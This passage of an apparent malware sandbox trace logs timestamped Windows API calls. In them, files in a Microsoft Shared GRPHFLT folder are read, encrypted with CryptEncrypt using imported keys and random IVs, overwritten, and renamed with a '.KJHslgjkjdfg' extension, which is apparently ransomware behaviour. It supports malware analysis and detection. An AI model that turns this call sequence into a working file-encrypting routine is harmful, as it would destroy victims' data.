(HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0167.909] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0167.909] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0167.909] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0167.911] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0167.911] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0167.911] GetProcessHeap () returned 0x2ef0000 [0167.911] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0167.911] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30) returned 1 [0167.911] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0167.912] WriteFile (in: hFile=0xf0, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff270*=0x30, lpOverlapped=0x0) returned 1 [0167.912] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0167.912] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0167.912] WriteFile (in: hFile=0xf0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0167.912] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0167.912] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0167.912] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0167.912] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0167.912] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.912] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x774, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x774, lpOverlapped=0x0) returned 1 [0167.912] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x780, dwBufLen=0x780 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x780) returned 1 [0167.912] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.913] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x780, lpOverlapped=0x0) returned 1 [0167.913] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0167.913] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.913] SetEndOfFile (hFile=0xf0) returned 1 [0167.916] GetProcessHeap () returned 0x2ef0000 [0167.916] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0167.916] GetProcessHeap () returned 0x2ef0000 [0167.916] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0167.916] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.kjhslgjkjdfg")) returned 1 [0167.920] CloseHandle (hObject=0xf0) returned 1 [0167.920] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x3adb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MS.EPS", cAlternateFileName="")) returned 1 [0167.921] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0167.921] GetProcessHeap () returned 0x2ef0000 [0167.921] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0167.921] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0167.921] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0167.921] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x5, lpOverlapped=0x0) returned 1 [0167.923] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0167.923] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0167.924] GetProcessHeap () returned 0x2ef0000 [0167.924] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0167.924] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30) returned 1 [0167.924] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0167.924] WriteFile (in: hFile=0xf0, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff270*=0x30, lpOverlapped=0x0) returned 1 [0167.924] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0167.924] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0167.924] WriteFile (in: hFile=0xf0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0167.924] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0167.924] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0167.925] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0167.925] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0167.925] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.925] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3adb, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3adb, lpOverlapped=0x0) returned 1 [0167.926] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3ae0, dwBufLen=0x3ae0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3ae0) returned 1 [0167.926] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.926] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3ae0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3ae0, lpOverlapped=0x0) returned 1 [0167.926] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0167.926] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3ba4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.926] SetEndOfFile (hFile=0xf0) returned 1 [0167.929] GetProcessHeap () returned 0x2ef0000 [0167.929] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0167.929] GetProcessHeap () returned 0x2ef0000 [0167.929] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0167.929] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.kjhslgjkjdfg")) returned 1 [0167.935] CloseHandle (hObject=0xf0) returned 1 [0167.935] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MS.GIF", cAlternateFileName="")) returned 1 [0167.935] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0167.935] GetProcessHeap () returned 0x2ef0000 [0167.935] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0167.935] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0167.935] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0167.935] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x3, lpOverlapped=0x0) returned 1 [0167.938] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0167.938] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0167.938] GetProcessHeap () returned 0x2ef0000 [0167.938] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0167.938] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30) returned 1 [0167.938] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0167.938] WriteFile (in: hFile=0xf0, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff270*=0x30, lpOverlapped=0x0) returned 1 [0167.938] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0167.938] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0167.939] WriteFile (in: hFile=0xf0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0167.939] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0167.939] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0167.939] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0167.939] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0167.939] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.939] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x42d, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x42d, lpOverlapped=0x0) returned 1 [0167.939] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x430, dwBufLen=0x430 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x430) returned 1 [0167.939] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.939] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x430, lpOverlapped=0x0) returned 1 [0167.939] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0167.939] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.939] SetEndOfFile (hFile=0xf0) returned 1 [0167.941] GetProcessHeap () returned 0x2ef0000 [0167.941] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0167.941] GetProcessHeap () returned 0x2ef0000 [0167.941] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0167.942] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.kjhslgjkjdfg")) returned 1 [0167.947] CloseHandle (hObject=0xf0) returned 1 [0167.947] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MS.JPG", cAlternateFileName="")) returned 1 [0167.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0167.948] GetProcessHeap () returned 0x2ef0000 [0167.948] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0167.948] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0167.948] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0167.948] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xb, lpOverlapped=0x0) returned 1 [0167.952] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0167.952] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0167.952] GetProcessHeap () returned 0x2ef0000 [0167.952] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0167.952] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dff258*=0x30) returned 1 [0167.952] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0167.952] WriteFile (in: hFile=0xf0, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dff270*=0x30, lpOverlapped=0x0) returned 1 [0167.952] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0167.952] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0167.953] WriteFile (in: hFile=0xf0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0167.953] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0167.953] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0167.953] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0167.953] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0167.953] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.953] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x425, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x425, lpOverlapped=0x0) returned 1 [0167.953] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x430, dwBufLen=0x430 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x430) returned 1 [0167.953] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.953] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x430, lpOverlapped=0x0) returned 1 [0167.953] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0167.953] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.953] SetEndOfFile (hFile=0xf0) returned 1 [0167.956] GetProcessHeap () returned 0x2ef0000 [0167.956] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0167.956] GetProcessHeap () returned 0x2ef0000 [0167.956] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0167.956] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.kjhslgjkjdfg")) returned 1 [0167.959] CloseHandle (hObject=0xf0) returned 1 [0167.959] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MS.PNG", cAlternateFileName="")) returned 1 [0167.960] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0167.961] GetProcessHeap () returned 0x2ef0000 [0167.961] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0167.961] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0167.961] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0167.961] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0167.971] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0167.972] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0167.972] GetProcessHeap () returned 0x2ef0000 [0167.972] RtlAllocateHeap (HeapHandle=0x2ef0000, 